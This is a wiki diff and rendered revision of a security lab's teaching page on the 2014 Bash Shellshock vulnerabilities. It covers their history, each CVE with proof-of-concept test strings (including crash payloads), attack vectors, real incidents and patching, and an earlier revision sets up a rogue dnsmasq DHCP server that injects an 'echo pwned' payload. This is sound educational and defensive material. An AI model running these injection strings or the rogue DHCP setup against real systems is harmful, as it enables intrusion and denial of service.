Difference between revisions of "Shellshock"

From Embedded Lab Vienna for IoT & Security
Jump to navigation Jump to search
(Create the page Shellshock. Added the chapters history, Functionality and Practical Shellshock DHCP Example)
 
m (Added a shellshock logo)
 
(15 intermediate revisions by 3 users not shown)
Line 1: Line 1:
== Summary ==
Shellshock, discovered in 2014, is a family of significant vulnerabilities in the GNU Bash shell, affecting a wide range of systems. It enables attackers to execute arbitrary code ([https://en.wikipedia.org/wiki/Arbitrary_code_execution Arbitrary Code Execution], ACE) on vulnerable systems, exploiting environment variables in Bash. The severity of Shellshock lies in its widespread impact, targeting systems running Bash, including web servers, DHCP clients, and network services.


This documentation is about the Shellshock bug found in 2014.
[[File:Shellshock-logo.png|thumb|right|A Shellshock logo <ref name="shellshock-logo">https://en.wikipedia.org/wiki/Shellshock_(software_bug)</ref>]]


== Requirements ==
== Background ==


* Operating system: Seed Ubuntu 12.04, Ubuntu 20.04
=== Bash Shell ===
* Packages: dnsmasq
The GNU Bourne Again Shell ([https://en.wikipedia.org/wiki/Bash_(Unix_shell) Bash]), introduced in 1989 by Brian Fox, is a widely used command-line interface (CLI) in Unix-like operating systems. Renowned for its flexibility and extensive feature set, Bash combines capabilities from various other shells, such as the [https://en.wikipedia.org/wiki/KornShell KornShell] (ksh) and the [https://en.wikipedia.org/wiki/C_shell C Shell] (csh) <ref name="bash-reference-manual">Chet Ramey and Brian Fox. ''Bash Reference Manual'', Free Software Foundation, 5.2 edition, 2022.</ref>.


In order to complete these steps, you must have followed [[Some Other Documentation]] before.
However, this complexity also introduced vulnerabilities, as highlighted by the Shellshock incident. Bash's integral role in numerous systems and devices across networks <ref name="broberg-bash-shell">Matthew Broberg. [https://opensource.com/19/9/command-line-heroes-bash/ ''The Birth of the Bash Shell''], 2019. Retrieved December 17, 2023.</ref> significantly amplified the impact of these vulnerabilities, underlining the importance of secure shell programming and system design.


== History ==
=== Discovery ===
The collective discovery of Shellshock's related vulnerabilities unfolded in 2014, starting with Stéphane Chazelas, a French software developer, uncovering the initial bug, CVE-2014-6271 ([https://nvd.nist.gov/vuln/ Common Vulnerability and Exposures, CVE]), which he originally called ''Bashdoor''.
The vulnerability was a significant flaw in the Bash shell, which had gone unnoticed for over two decades. <ref name="grubb-chazelas">Ben Grubb. [https://www.smh.com.au/technology/stephane-chazelas-the-man-who-found-the-webs-most-dangerous-internet-securhtml/ ''Stephane Chazelas: The Man Who Found the Web's 'Most Dangerous' Internet Security Bug''], 2014. Retrieved December 17, 2023.</ref>


=== Initial Discovery ===
Upon its discovery, it was quickly recognized for the potential to allow attackers to execute arbitrary code on affected systems <ref name="nist-cve-2014-6271">National Institute of Standards and Technology (NIST). [https://nvd.nist.gov/vuln/detail/CVE-2014-6271/ ''CVE-2014-6271 Detail''], 2021. Retrieved December 18, 2023.</ref>.
The revelation of Shellshock prompted an immediate and coordinated response from the software community, leading to rapid development of patches by Bash's lead developer, Chet Ramey, and widespread updates across various operating systems and networked devices <ref name="grubb-chazelas"></ref>.


On August the 5th, 1989 a bug was accidentally introduced into the development version of bash by the then-lead developer Brian Fox. A bug that was later released within the version 1.03 of bash and existed 25 years with presumable nobody noticing. On the 24th of September 2014 an exploit which was later named Shellshock was publicly disclosed  and assigned the CVE identifier CVE-2014-6271, CVE-2014-6277 and CVE-2014-6278. The exploit was originally found by Stéphane Chazelas on the 12th of September 2014, an french software developer that contributes to the UNIX and Free Software/OpenSource community in his spare time. He originally called the exploit Bashdoor but this name did not catch on. He reported the bug to the lead developer of bash Chet Ramey, which developed a fix for it, which was rolled out by major distributors such as Debian, Red Hat and Ubuntu as part of an coordinated disclosure.
Furthermore, it led to the identification of six distinct CVEs, ranging from CVE-2014-6271 to CVE-2014-7187, each highlighting various vulnerabilities in Bash's handling of code parsing and execution <ref name="zdnet-betterbash">Steven Vaughan-Nichols. [https://www.zdnet.com/article/shellshock-better-bash-patches-now-available/ ''Shellshock: Better 'bash' patches now available''], 2014. Retrieved December 17, 2023.</ref>.


=== Discovery of a bigger problem ===
==Reported Vulnerabilities==


After fixing the initial bug, security researchers noticed that the bash shell was still parsing every environment variable that began with the sequence "() \{". As long as the bash would parse untrusted data, it could lead to a security exploit. The focus of the researches and developers shifted their attention towards the bash parser, although they never thought that the bash parser was security-relevant. On September the 24th, 2014 a security researcher named Tavis Ormandy reported and published an example of a bug in the bash parser, that could be exploited. Because of the failed fix of the previous exploits a new CVE identifier was assigned namely CVE-2014-7169. Just one day after this, a new exploit was found by Florian Weimer, it was assigned the identifier CVE-2014-7186 and it described a Denial of Service exploit which could be executed with the use of the initial Shellshock exploit.
=== CVE-2014-6271 ===
The original Shellshock vulnerability was based on how Bash processed environment variables and allowed attackers to execute arbitrary code on vulnerable systems <ref name="qualys-shellshock">Prutha Parikh. [https://blog.qualys.com/vulnerabilities-threat-research/2014/09/24/bash-remote-code-execution-vulnerability-cve-2014-6271/ ''Bash Shellshock Command Injection Vulnerabilities''], 2014. Retrieved December 17, 2023.</ref>.


=== Aftermath ===
<syntaxhighlight lang="bash">
env x=’() { :;}; echo vulnerable’ bash -c "echo this is a test"
</syntaxhighlight>


The impact of this exploit was enormous, basically most Unix-like systems use the bash shell, not only Linux also some distributions of BSD, Apple MacOS X and Cygwin. A big problem was that the first patch didn't fix the exploit in its entirety, the vulnerability and proof of concept of the exploit was known to the public.
In this example, the function is defined using the command <code>env x='() { :;}; echo vulnerable'</code>. After the actual function body, marked by <code>{ :;};</code>, additional code is added – in this case, the command <code>echo vulnerable</code>.
If the Bash version is vulnerable, it will output "vulnerable" and "this is a test." This means that it also executes the code after the function.


== Functionality ==
It's important to note that the second output string, "this is a test," is not part of the vulnerability and can be replaced with almost any other command. What matters is that when using <code>bash -c</code>, a new instance of Bash is created, which assigns the value to the environment variable ''x''. During this initialization of ''x'', the injected code <code>echo vulnerable</code> is executed.


The Shellshock  vulnerability is  enumerated  as an  improper  neutralization  of specialelements used in an OS Command (’OS Command Injection’) by the National Instituteof  Standards  and  Technology.  It  can  be  exploited  to  give  an  attacker  remote  codeexecution.  The vulnerability occurs when defining a environment variable.  So basicallyevery system where an attacker could control the content of an environment variablewas exploitable.  This included many CGI web applications that were invoked via bash,sshd using ForceCommand and DHCP clients connecting to subverted DHCP servers.
=== CVE-2014-7169 ===
The second discovered vulnerability, also known as ''Aftershock'', allowed for the execution of injected code in a similar manner, even after applying the initial patch <ref name="qualys-shellshock"></ref>.


With  the  export  command,  it  is  possible  to  export  shell  variables  but  also  shellfunctions.  In the bash version with the Shellshock vulnerability a function definitionstarted  with  ”(){”  in  the  value  of  the  exported  variable.  The  vulnerability  existedbecause  bash  does  not  stop  processing  after  the  function  definition,  it  continues  toparse and execute shell commands.Environment variables can be defined with the following command:
<syntaxhighlight lang="bash">
env variablename='<value>'
env x=() {( a ) = >\’ bash -c "echo date"; cat echo
Now to exploit this vulnerability (CVE-2014-6271) in the initial bash version the following command could be used:
</syntaxhighlight>
env x='() {.;}; <exploit code>'


== Practical Shellshock DHCP Example ==
In this case, an attempt is made to assign a function to the variable ''x'' as well. The key difference from the previous vulnerability is that the function is designed to generate a syntax error while still executing code.
The use of the escape character ''\'' cancels out the following quotation mark, preventing the function definition from being completed. The redirection operator ''>'' redirects output to a file specified afterward.


=== Setup ===
Despite the syntax error in the function definition's position of ''='', Bash continues to execute code and, as a result, creates a file named "echo" with the content of the <code>date</code> command output.
I used VMware Workstation Pro, but you might aswell use the virtualisation tool of your choice. I downloaded a SEED Ubuntu12.04 VM (32-bit) from [https://seedsecuritylabs.org/lab_env.html this website] and the latest version of Ubuntu from [https://ubuntu.com/download/desktop the official website], if you have a lack of memory just use the server version.
Finally, this file is printed to the console using <code>cat echo</code>.
For demonstration purposes I used two client machines, but you only need one SEED machine for the example to work. Both client machines and the server are configured to be in a virtual network. This can be done in your virtualisation tool.


=== Check Vulnerablity ===
=== CVE-2014-7186 ===
After successfully setting up the machines, we now check if the clients are vulnerable to Shellshock. To check for the Shellshock vulnerability you can use the following command:
Another vulnerability, which didn't execute malicious code but was used to carry out [https://en.wikipedia.org/wiki/Denial-of-service_attack denial-of-service] (DoS) attacks by causing memory overflow and application crashes, or other unexpected behavior in Bash <ref name="nist-cve-2014-7186">National Institute of Standards and Technology (NIST). [https://nvd.nist.gov/vuln/detail/CVE-2014-7186/ ''CVE-2014-7186 Detail''], 2018. Retrieved December 17, 2023.</ref><ref name="florian-weimer-bash-patches">Florian Weimer. [https://www.openwall.com/lists/oss-security/2014/09/25/32 ''Non-Upstream Patches for Bash''], 2014. Retrieved December 17, 2023.</ref><ref name="michal-zalewski-bash-bug">Michał Zalewski. [https://lcamtuf.blogspot.com/2014/10/bash-bug-how-we-finally-cracked.html ''Bash Bug: The Other Two RCEs, or How We Chipped Away at the Original Fix (CVE-2014-6277 and '78)''], 2014. Retrieved December 17, 2023.</ref>.
env x='() { :;}; echo shellshocked' bash -c ""


=== Install & Configurating DNSMASQ ===
<syntaxhighlight lang="bash">
First we have to install the package dnsmasq:
x=’() { true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF; }’; bash -c :
apt-get install dnsmasq
</syntaxhighlight>


After successfully installing dnsmasq we have to configure it. We can do that in the ''/etc/dnsmasq.conf''. I changed the following lines:
In the example above, a series of ''here documents'' are nested within the function body, but they are never closed with a delimiter. Each <code><<EOF</code> opens a new document, which typically needs to be closed with the matching delimiter "EOF". Everything between these two points is considered the content of the document <ref name="mendel-cooper-bash-scripting-guide">Mendel Cooper. [https://tldp.org/LDP/abs/html/here-docs.html ''Advanced Bash-Scripting Guide: Chapter 19. Here Documents''], 2014. Retrieved December 17, 2023.</ref>.
port=
interface=ens33
dhcp-range=192.168.123.10,192.168.123.250,12h
dhcp-option-force=100,() { :; }; echo pwned


Now we need to restart the service and check if any errors occured.
The security vulnerability arises from the missing closing delimiters, combined with the deep nesting, causing an out-of-bounds memory-access error.
service dnsmasq restart
service dnsmasq status


=== Configurating Client & Server IPs ===
=== CVE-2014-7187 ===
==== Server ====
A software crash and subsequent DoS can be caused by an [https://en.wikipedia.org/wiki/Off-by-one_error off-by-one error] due to a flaw in the ''read_token_word'' function found in the ''parse.y'' file within the Bash source code <ref name="nist-cve-2014-7187">National Institute of Standards and Technology (NIST). [https://nvd.nist.gov/vuln/detail/CVE-2014-7187/ ''CVE-2014-7187 Detail''], 2018. Retrieved December 17, 2023.</ref><ref name="florian-weimer-bash-patches"></ref><ref name="michal-zalewski-bash-bug"></ref>.


We have to give the server machine a static ip address. I did it with netplan. If it isn't already installed you can install it with
<syntaxhighlight lang="bash">
apt-get install netplan
(for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) > test-script.sh
bash test-script.sh
</syntaxhighlight>


Now we have to edit the file ''/etc/netplan/01-network.yaml''. My netplan looks as follows:
When using a for loop, the output of <code>echo</code> commands is written to the target file ''test-script.sh'', which is executed afterward. The resulting deeply nested loops can cause Bash to mishandle them, leading to an off-by-one error in memory access.


network:
This can result in accessing memory outside the allocated range, potentially leading to application crashes.
  version: 2
  renderer: networkd
  ethernets:
    ens33:
      addresses:
        - 192.168.123.1/24


After saving the file we need to apply the netplan we can do that with the command
=== CVE-2014-6277 ===
sudo netplan apply
Another security vulnerability, in contrast to the previous weaknesses, is related to uninitialized memory usage. This faulty memory access could lead to DoS or the execution of malicious code <ref name="nist-cve-2014-6277">National Institute of Standards and Technology (NIST). [https://nvd.nist.gov/vuln/detail/CVE-2014-6277/ ''CVE-2014-6277 Detail''], 2018. Retrieved December 17, 2023.</ref>. A detailed explanation of this issue can be found in a personal blog post <ref name="michal-zalewski-bash-bug"></ref> by Michał Zalewski.


To check if the network interface got configured we can perform the command
<syntaxhighlight lang="bash">
ifconfig
x="() { y() { _; }; y() { _; } <<‘perl -e ’{print "A"x1000}’‘; }" bash -c :
</syntaxhighlight>


==== Client ====
In this command, after two empty functions <code>y() { _; }</code>, the ''<<'' operator starts a ''here document''. However, due to the missing delimiter string, the it is not fully terminated. As a result, the ''here_doc_eof'' pointer incorrectly points to an invalid string and remains uninitialized. Consequently, Bash could attempt to read from this uninitialized memory that has been manipulated by attackers.
For the client side we need to configure that it requests an ip-address from the server. We can do that by editing the ''/etc/network/interfaces'' file as follows:
auto eth0
iface eth0 inet dhcp


=== Perform the attack ===
This could result in unexpected behavior such as ACE or software crashes.
When the client requests an ip address, it executes the payload defined in the dnsmasq config. We can manually request a new ip by performing the following command:
sudo /etc/init.d/networking restart


As we can see the payload gets executed. For further exploitation you can change the payload in the dnsmasq config.
=== CVE-2014-6278 ===
== Courses ==
This more complex security vulnerability allowed attackers to bypass the previously published patches through redirection and parsing errors, ultimately enabling the execution of malicious code <ref name="nist-cve-2014-6278">National Institute of Standards and Technology (NIST). [https://nvd.nist.gov/vuln/detail/CVE-2014-6278/ ''CVE-2014-6278 Detail''], 2021. Retrieved December 17, 2023.</ref><ref name="michal-zalewski-bash-bug"></ref>.


* [[Ausgewählte Kapitel der IT-Security]] (2021/2022)
<syntaxhighlight lang="bash">
x=’() { _; } >_[$($())] { echo vulnerable; id; }’ bash -c :
</syntaxhighlight>
 
The expression <code>>_[$($())]</code> uses redirection and array syntax in a way that the Bash parser does not understand. As a result, it falls into a state that it cannot correctly reset after interpreting the nested command substitution <code>$()</code>.
 
Because of this, the following code block <code>{ echo vulnerable; id; }</code> is executed without further checks.
 
== Impact and Attack Scenarios ==
 
=== Attack Vectors ===
The discovery of the Shellshock vulnerabilities has revealed significant implications for the security of information systems.
By exploiting the previously mentioned flaws, attackers gain numerous points of attack. Any service or system implementing a vulnerable version of Bash could potentially be compromised.
 
The following sections describe the most common attack surfaces of this vulnerability and illuminate the specific threats posed to computer systems.
 
==== Hypertext Transfer Protocol (HTTP) - via CGI scripts ====
The exploitation of Shellshock through [https://en.wikipedia.org/wiki/HTTP HTTP] via [https://en.wikipedia.org/wiki/Common_Gateway_Interface Common Gateway Interface] (CGI) scripts was particularly alarming due to the prevalence of CGI in web server configurations <ref name="ricmac-cgi-scripts-1993">ricmac. [https://webdevelopmenthistory.com/1993-cgi-scripts-and-early-server-side-web-programming ''1993: CGI Scripts and Early Server-Side Web Programming''], 2021. Retrieved December 17, 2023.</ref>.
 
Attackers could send malicious HTTP requests with environment variables containing the modified payload. Common methods for this include, for example, the ''Referer'', ''Cookie'', or ''User-Agent'' headers.
Since CGI scripts often invoke Bash, these payloads were executed, potentially leading to remote code execution (RCE) <ref name="mehndiratta-shellshock-exploiting">Madhav Mehndiratta. [https://www.infosecarticles.com/exploiting-shellshock-vulnerability/ ''Exploiting a Shellshock Vulnerability''], 2020. Retrieved December 17, 2023.</ref>. This simple method required no authentication, allowing unmitigated access to the server.
 
For this reason, web applications that use an outdated Bash version may be vulnerable to Shellshock exploits.
 
==== Secure Shell (SSH) ====
Systems that use [https://en.wikipedia.org/wiki/Secure_Shell SSH] mechanisms like ''ForceCommand'' or ''AuthorizedKeysCommand'' posed another way to exploit the security flaw.
 
Attackers could make use of it by embedding malicious payload within the SSH command. When the SSH server processed the command, it invoked the Bash shell, leading to the execution of the code. <ref name="kandek-shellshock-update5">Wolfgang Kandek. [https://blog.qualys.com/vulnerabilities-threat-research/2014/09/24/bash-shellshock-vulnerability ''BASH Shellshock Vulnerability – Update5''], 2020. Retrieved December 20, 2023.</ref>
 
This form of attack was particularly concerning for systems where SSH is used for secure remote management, as it could bypass standard security measures and grant attackers unauthorized access.
 
==== Dynamic Host Configuration Protocol (DHCP) ====
Exploiting Shellshock through [https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol DHCP] involved attackers setting up rogue DHCP servers. When a vulnerable system (client), using Bash to process DHCP responses, connected to this server, it would receive maliciously crafted DHCP responses. These responses included environment variables typically designed to perform ACE. <ref name="enache-shellshock">Tudor Enache. [https://owasp.org/www-pdf-archive/Shellshock_-_Tudor_Enache.pdf ''Shellshock Vulnerability''], 2014. Retrieved December 17, 2023.</ref>
 
Since DHCP is used for automatically configuring network settings, this attack vector could be employed in any network environment, making it particularly dangerous in public or unsecured Wi-Fi networks.
 
==== Network Services and Daemon Scripts ====
Network services that process email headers, such as [https://en.wikipedia.org/wiki/Message_transfer_agent Mail Transfer Agents] (MTAs), or other services that pass environment variables to Bash scripts, are also potential targets for Shellshock attacks. This could affect any service that handles external data within a Bash environment.
 
 
===Examples of Attacks===
Shellshock was exploited in various notable attacks.
 
==== Voting Server in Georgia ====
A security expert found evidence suggesting a hacker attack on a Georgia voting server before the 2016 and 2018 elections. This incident, potentially exploiting the Shellshock vulnerability from 2014, might have allowed attackers to gain extensive control, alter data, or install malware. The server's vulnerability was not immediately patched, and there's evidence suggesting attackers concealed their activities and erased log data, complicating the investigation. <ref name="zetter-georgia-elections">Kim Zetter. [https://www.politico.com/news/2020/01/16/georgia-election-systems-could-have-been-hacked-before-2016-vote-100334/ ''Georgia Election Systems Could Have Been Hacked Before 2016 Vote''], 2020. Retrieved December 17, 2023.</ref>
 
==== QNAP NAS Devices ====
Researchers discovered a [https://en.wikipedia.org/wiki/Computer_worm computer worm] exploiting the Shellshock vulnerability to plant [https://en.wikipedia.org/wiki/Backdoor_(computing) backdoors] on [https://en.wikipedia.org/wiki/Network-attached_storage network-attached storage] (NAS) devices by [https://en.wikipedia.org/wiki/QNAP_Systems QNAP]. These backdoors bypass security mechanisms, allowing remote access. The worm spread by exploiting a CGI script in QNAP's login process, establishing backdoors, including setting up an SSH server and adding administrative users. Although QNAP released updates, many systems remained vulnerable due to patching difficulties.
Similar to the Georgia voting server case, the malware self-patched the Shellshock vulnerability on infected devices to prevent further exploits. <ref name="kovacs-qnap-worm">Eduard Kovacs. [https://www.securityweek.com/worm-uses-shellshock-infect-qnap-network-storage-systems/ ''Worm Uses Shellshock to Infect QNAP Network Storage Systems''], 2014. Retrieved December 17, 2023.</ref>
 
==== Yahoo! Server ====
Cybersecurity expert Jonathan Hall discovered that romanian hackers exploited the Shellshock vulnerability to breach [https://en.wikipedia.org/wiki/Yahoo! Yahoo!] servers. They specifically targeted access points to the [https://en.wikipedia.org/wiki/Yahoo!_Games Yahoo! Games] network, which has millions of users. The servers were vulnerable due to using an outdated version of Bash. Yahoo confirmed the incidents, stating they responded with patches and isolated some affected servers. However, at that time, there was no evidence of compromised user data. <ref name="boren-romanian-hackers">Zachary Davies Boren. [https://www.independent.co.uk/tech/shellshock-romanian-hackers-are-accessing-yahoo-servers-claims-security-ex html/ ''Shellshock: Romanian Hackers Are Accessing Yahoo Servers, Claims Security Expert''], 2014. Retrieved December 17, 2023.</ref><ref name="hall-yahoo-shellshocked">Jonathan Hall. [https://web.archive.org/web/20141009075833/http://www.futuresouth.us/wordpress/?p=5 ''Yahoo! Shellshocked Like Ninja Turtles!''], 2014. Retrieved December 17, 2023.</ref>
 
==== DDoS Attacks ====
Within a day of Shellshock's disclosure, attackers exploited the Bash vulnerability to create a [https://en.wikipedia.org/wiki/Botnet botnet] named wopbot. This botnet targeted vulnerable servers, launching distributed DoS (DDoS) attacks against [https://en.wikipedia.org/wiki/Akamai_Technologies Akamai's] [https://en.wikipedia.org/wiki/Content_delivery_network content delivery network] (CDN) servers and attempting to compromise the U.S. Defense Department's network, which includes about 16.7 million IP addresses. While [https://en.wikipedia.org/wiki/Tiger_(security_software) Tiger Security] experts partially shut down the botnet's control systems, the botmaster server of wopbot remains operational, continuing to spread malware. <ref name="saarinen-shellshock-botnet">Juha Saarinen. [https://www.itnews.com.au/news/first-shellshock-botnet-attacks-akamai-us-dod-networks-396197/ ''First Shellshock Botnet Attacks Akamai, US DoD Networks''], 2014. Retrieved December 17, 2023.</ref>
 
==== Other Attacks ====
According to a report by Solutionary’s Security Engineering Research Team (SERT), the Shellshock vulnerability was still being exploited ten months after its disclosure. Despite available protections, many systems remained vulnerable. Nearly 600,000 Shellshock-related events originated from over 25,000 unique IP addresses, mostly trying to identify susceptible systems. The USA, China, Korea, the UK, Germany, and Japan were the top sources of these attacks, with educational institutions being primary targets. Most successful attacks involved downloading and executing Bash scripts, with various attackers, including known botnets, continuing to exploit the vulnerability. <ref name="kovacs-shellshock-exploited">Eduard Kovacs. [https://www.securityweek.com/shellshock-flaw-still-actively-exploited-solutionary/ ''Shellshock Flaw Still Actively Exploited: Solutionary''], 2015. Retrieved December 17, 2023.</ref>
 
== Defense and Mitigation Strategies ==
 
=== Patches and Updates ===
In the course of the six vulnerabilities' discoveries, Chet Ramey released three patches named [http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-025 ''bash43-025''], [http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-026 ''bash43-026''], and [http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-027 ''bash43-027''], primarily addressing the issues in CVE-2014-6271, CVE-2014-7169, and CVE-2014-7186, with the last one also addressing all remaining ones <ref name="constantin-improved-patch">Lucian Constantin. [https://www.pcworld.com/article/435506/improved-patch-tackles-new-shellshock-attack-vectors.html ''Improved Patch Tackles New Shellshock Bash Bug Attack Vectors''], 2014. Retrieved December 17, 2023.</ref>.
The patching process itself varies depending on the operating system but typically includes the following basic steps <ref name="anicas-shellshock-protection">Mitchell Anicas. [https://www.digitalocean.com/community/tutorials/how-to-protect-your-server-against-the-shellshock-bash-vulnerability ''How to Protect Your Server Against the Shellshock Bash Vulnerability''], 2014. Retrieved December 17, 2023.</ref>:
 
* '''Updating repository information:''' To ensure that the package manager being used is up to date and includes the latest updates and security patches, an ''update'' command is executed. <br> For Debian-based systems: <code>apt-get update</code> <br> For Red Hat-based systems: <code>yum update</code>
 
* '''Updating Bash:''' To update the Bash package, the appropriate command provided for the system is used. <br> For Debian-based systems: <code>apt-get install --only-upgrade bash</code> <br> For Red Hat-based systems: <code>yum update bash</code>
 
* '''Verification of installation:''' To verify the functionality of the patch, it's essential to test the system for the security vulnerability. Depending on the specific variant of the vulnerability (see section Attack Vectors), this can be done, for example, by entering the following command: <br> <syntaxhighlight lang="bash">env x=’() { :;}; echo vulnerable’ bash -c "echo test"</syntaxhighlight> A non-vulnerable system should prevent the execution of code after a function definition and instead provide an error message.


== References ==
== References ==
* https://wikipedia.org
* https://google.com


[[Category:Documentation]]
[[Category:Documentation]]

Latest revision as of 01:29, 8 January 2024

Shellshock, discovered in 2014, is a family of significant vulnerabilities in the GNU Bash shell, affecting a wide range of systems. It enables attackers to execute arbitrary code (Arbitrary Code Execution, ACE) on vulnerable systems, exploiting environment variables in Bash. The severity of Shellshock lies in its widespread impact, targeting systems running Bash, including web servers, DHCP clients, and network services.

A Shellshock logo [1]

Background

Bash Shell

The GNU Bourne Again Shell (Bash), introduced in 1989 by Brian Fox, is a widely used command-line interface (CLI) in Unix-like operating systems. Renowned for its flexibility and extensive feature set, Bash combines capabilities from various other shells, such as the KornShell (ksh) and the C Shell (csh) [2].

However, this complexity also introduced vulnerabilities, as highlighted by the Shellshock incident. Bash's integral role in numerous systems and devices across networks [3] significantly amplified the impact of these vulnerabilities, underlining the importance of secure shell programming and system design.

Discovery

The collective discovery of Shellshock's related vulnerabilities unfolded in 2014, starting with Stéphane Chazelas, a French software developer, uncovering the initial bug, CVE-2014-6271 (Common Vulnerability and Exposures, CVE), which he originally called Bashdoor. The vulnerability was a significant flaw in the Bash shell, which had gone unnoticed for over two decades. [4]

Upon its discovery, it was quickly recognized for the potential to allow attackers to execute arbitrary code on affected systems [5]. The revelation of Shellshock prompted an immediate and coordinated response from the software community, leading to rapid development of patches by Bash's lead developer, Chet Ramey, and widespread updates across various operating systems and networked devices [4].

Furthermore, it led to the identification of six distinct CVEs, ranging from CVE-2014-6271 to CVE-2014-7187, each highlighting various vulnerabilities in Bash's handling of code parsing and execution [6].

Reported Vulnerabilities

CVE-2014-6271

The original Shellshock vulnerability was based on how Bash processed environment variables and allowed attackers to execute arbitrary code on vulnerable systems [7].

env x=() { :;}; echo vulnerable’ bash -c "echo this is a test"

In this example, the function is defined using the command env x='() { :;}; echo vulnerable'. After the actual function body, marked by { :;};, additional code is added – in this case, the command echo vulnerable. If the Bash version is vulnerable, it will output "vulnerable" and "this is a test." This means that it also executes the code after the function.

It's important to note that the second output string, "this is a test," is not part of the vulnerability and can be replaced with almost any other command. What matters is that when using bash -c, a new instance of Bash is created, which assigns the value to the environment variable x. During this initialization of x, the injected code echo vulnerable is executed.

CVE-2014-7169

The second discovered vulnerability, also known as Aftershock, allowed for the execution of injected code in a similar manner, even after applying the initial patch [7].

env x=() {( a ) = >\’ bash -c "echo date"; cat echo

In this case, an attempt is made to assign a function to the variable x as well. The key difference from the previous vulnerability is that the function is designed to generate a syntax error while still executing code. The use of the escape character \ cancels out the following quotation mark, preventing the function definition from being completed. The redirection operator > redirects output to a file specified afterward.

Despite the syntax error in the function definition's position of =, Bash continues to execute code and, as a result, creates a file named "echo" with the content of the date command output. Finally, this file is printed to the console using cat echo.

CVE-2014-7186

Another vulnerability, which didn't execute malicious code but was used to carry out denial-of-service (DoS) attacks by causing memory overflow and application crashes, or other unexpected behavior in Bash [8][9][10].

x=() { true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF; }; bash -c :

In the example above, a series of here documents are nested within the function body, but they are never closed with a delimiter. Each <<EOF opens a new document, which typically needs to be closed with the matching delimiter "EOF". Everything between these two points is considered the content of the document [11].

The security vulnerability arises from the missing closing delimiters, combined with the deep nesting, causing an out-of-bounds memory-access error.

CVE-2014-7187

A software crash and subsequent DoS can be caused by an off-by-one error due to a flaw in the read_token_word function found in the parse.y file within the Bash source code [12][9][10].

(for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) > test-script.sh
bash test-script.sh

When using a for loop, the output of echo commands is written to the target file test-script.sh, which is executed afterward. The resulting deeply nested loops can cause Bash to mishandle them, leading to an off-by-one error in memory access.

This can result in accessing memory outside the allocated range, potentially leading to application crashes.

CVE-2014-6277

Another security vulnerability, in contrast to the previous weaknesses, is related to uninitialized memory usage. This faulty memory access could lead to DoS or the execution of malicious code [13]. A detailed explanation of this issue can be found in a personal blog post [10] by Michał Zalewski.

x="() { y() { _; }; y() { _; } <<‘perl -e ’{print "A"x1000}’‘; }" bash -c :

In this command, after two empty functions y() { _; }, the << operator starts a here document. However, due to the missing delimiter string, the it is not fully terminated. As a result, the here_doc_eof pointer incorrectly points to an invalid string and remains uninitialized. Consequently, Bash could attempt to read from this uninitialized memory that has been manipulated by attackers.

This could result in unexpected behavior such as ACE or software crashes.

CVE-2014-6278

This more complex security vulnerability allowed attackers to bypass the previously published patches through redirection and parsing errors, ultimately enabling the execution of malicious code [14][10].

x=() { _; } >_[$($())] { echo vulnerable; id; }’ bash -c :

The expression >_[$($())] uses redirection and array syntax in a way that the Bash parser does not understand. As a result, it falls into a state that it cannot correctly reset after interpreting the nested command substitution $().

Because of this, the following code block { echo vulnerable; id; } is executed without further checks.

Impact and Attack Scenarios

Attack Vectors

The discovery of the Shellshock vulnerabilities has revealed significant implications for the security of information systems. By exploiting the previously mentioned flaws, attackers gain numerous points of attack. Any service or system implementing a vulnerable version of Bash could potentially be compromised.

The following sections describe the most common attack surfaces of this vulnerability and illuminate the specific threats posed to computer systems.

Hypertext Transfer Protocol (HTTP) - via CGI scripts

The exploitation of Shellshock through HTTP via Common Gateway Interface (CGI) scripts was particularly alarming due to the prevalence of CGI in web server configurations [15].

Attackers could send malicious HTTP requests with environment variables containing the modified payload. Common methods for this include, for example, the Referer, Cookie, or User-Agent headers. Since CGI scripts often invoke Bash, these payloads were executed, potentially leading to remote code execution (RCE) [16]. This simple method required no authentication, allowing unmitigated access to the server.

For this reason, web applications that use an outdated Bash version may be vulnerable to Shellshock exploits.

Secure Shell (SSH)

Systems that use SSH mechanisms like ForceCommand or AuthorizedKeysCommand posed another way to exploit the security flaw.

Attackers could make use of it by embedding malicious payload within the SSH command. When the SSH server processed the command, it invoked the Bash shell, leading to the execution of the code. [17]

This form of attack was particularly concerning for systems where SSH is used for secure remote management, as it could bypass standard security measures and grant attackers unauthorized access.

Dynamic Host Configuration Protocol (DHCP)

Exploiting Shellshock through DHCP involved attackers setting up rogue DHCP servers. When a vulnerable system (client), using Bash to process DHCP responses, connected to this server, it would receive maliciously crafted DHCP responses. These responses included environment variables typically designed to perform ACE. [18]

Since DHCP is used for automatically configuring network settings, this attack vector could be employed in any network environment, making it particularly dangerous in public or unsecured Wi-Fi networks.

Network Services and Daemon Scripts

Network services that process email headers, such as Mail Transfer Agents (MTAs), or other services that pass environment variables to Bash scripts, are also potential targets for Shellshock attacks. This could affect any service that handles external data within a Bash environment.


Examples of Attacks

Shellshock was exploited in various notable attacks.

Voting Server in Georgia

A security expert found evidence suggesting a hacker attack on a Georgia voting server before the 2016 and 2018 elections. This incident, potentially exploiting the Shellshock vulnerability from 2014, might have allowed attackers to gain extensive control, alter data, or install malware. The server's vulnerability was not immediately patched, and there's evidence suggesting attackers concealed their activities and erased log data, complicating the investigation. [19]

QNAP NAS Devices

Researchers discovered a computer worm exploiting the Shellshock vulnerability to plant backdoors on network-attached storage (NAS) devices by QNAP. These backdoors bypass security mechanisms, allowing remote access. The worm spread by exploiting a CGI script in QNAP's login process, establishing backdoors, including setting up an SSH server and adding administrative users. Although QNAP released updates, many systems remained vulnerable due to patching difficulties. Similar to the Georgia voting server case, the malware self-patched the Shellshock vulnerability on infected devices to prevent further exploits. [20]

Yahoo! Server

